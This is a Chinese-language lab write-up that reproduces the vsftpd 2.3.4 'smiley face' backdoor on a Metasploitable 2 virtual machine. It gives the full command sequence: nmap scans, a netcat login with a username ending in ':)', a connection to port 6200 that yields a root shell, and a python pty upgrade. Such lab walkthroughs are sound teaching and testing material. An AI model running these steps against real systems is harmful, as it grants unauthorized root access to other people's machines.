FTP笑脸漏洞复现

步骤详解vsftpd 2.3.4版本中著名的"笑脸漏洞"(smiley face vulnerability)复现过程,展示如何通过特殊用户名触发后门获取系统root权限,适合安全研究人员和漏洞分析师参考。

实验笔记:vsftpd 2.3.4 笑脸漏洞复现

实验目标

复现 vsftpd 2.3.4 的"笑脸漏洞",通过该漏洞获取靶机的 root 权限。

实验环境

  • 攻击机:Kali Linux
  • 靶机:Metasploitable Linux 2.0.0

实验步骤

一、环境搭建

  1. 下载并启动靶机

    • 下载 Metasploitable Linux 2.0.0 镜像文件。
    • 解压后使用 VMware 打开并启动虚拟机。
  2. 登录靶机并修改 root 密码

    • 使用普通用户 msfadmin 登录,密码为 msfadmin

    • 修改 root 用户的密码:

      1
      
      msfadmin@metasploitable:~$ sudo passwd root
      
    • 按提示输入新密码。

二、漏洞复现

  1. 端口扫描

    • 在 Kali Linux 上打开终端,使用 nmap 扫描靶机的开放端口:

      1
      
      nmap 192.168.xx.xx
      

      (将 192.168.xx.xx 替换为靶机的实际 IP 地址)

    • 确认靶机开放了 21 (FTP) 端口。

    • 局部截取_20250416_221111

  2. 扫描 FTP 服务版本

    • 使用 nmap 扫描 FTP 服务的版本信息:

      1
      
      nmap -sV 192.168.xx.xx
      

      确认靶机运行的是 vsftpd 2.3.4 版本。

    • 局部截取_20250416_221133

  3. 触发漏洞

    • 在 Kali Linux 上使用 Netcat (nc) 连接靶机的 21 端口:

      1
      
      nc 192.168.xx.xx 21
      
    • 输入以下命令(注意手动输入):

      1
      2
      
      user mz:)
      pass aaaaa
      
    • 此时靶机的 6200 端口会自动开启。保持当前终端状态,不要关闭。

    • 局部截取_20250416_221204

  4. 验证 6200 端口

    • 在 Kali Linux 上另起一个终端,使用 nmap 扫描 6200 端口:

      1
      
      sudo nmap -sS -p 6200 192.168.xx.xx
      

      确认 6200 端口已开启。

    • 局部截取_20250416_221242

  5. 获取 root 权限

    • 使用 Netcat 连接靶机的 6200 端口:

      1
      
      nc 192.168.xx.xx 6200
      
    • 成功连接后,即可以 root 身份登录靶机。

    • 局部截取_20250416_221315

    • 注意:连接后执行ls查看是都已经进去半终端

    • 确认进入半终端可执行python -c ‘import pty;pty.spawn("/bin/bash")’ 调用完整终端

三、实验注意事项

  • 如果在实验过程中遇到问题,可以尝试重启靶机。
  • 确保在触发漏洞后保持 Netcat 连接状态,否则 6200 端口可能会关闭。

实验总结: 本次实验通过 vsftpd 2.3.4 的"笑脸漏洞",成功获取了靶机的 root 权限。实验过程中,关键在于正确触发漏洞并保持 Netcat 连接状态,以确保后续操作的顺利进行。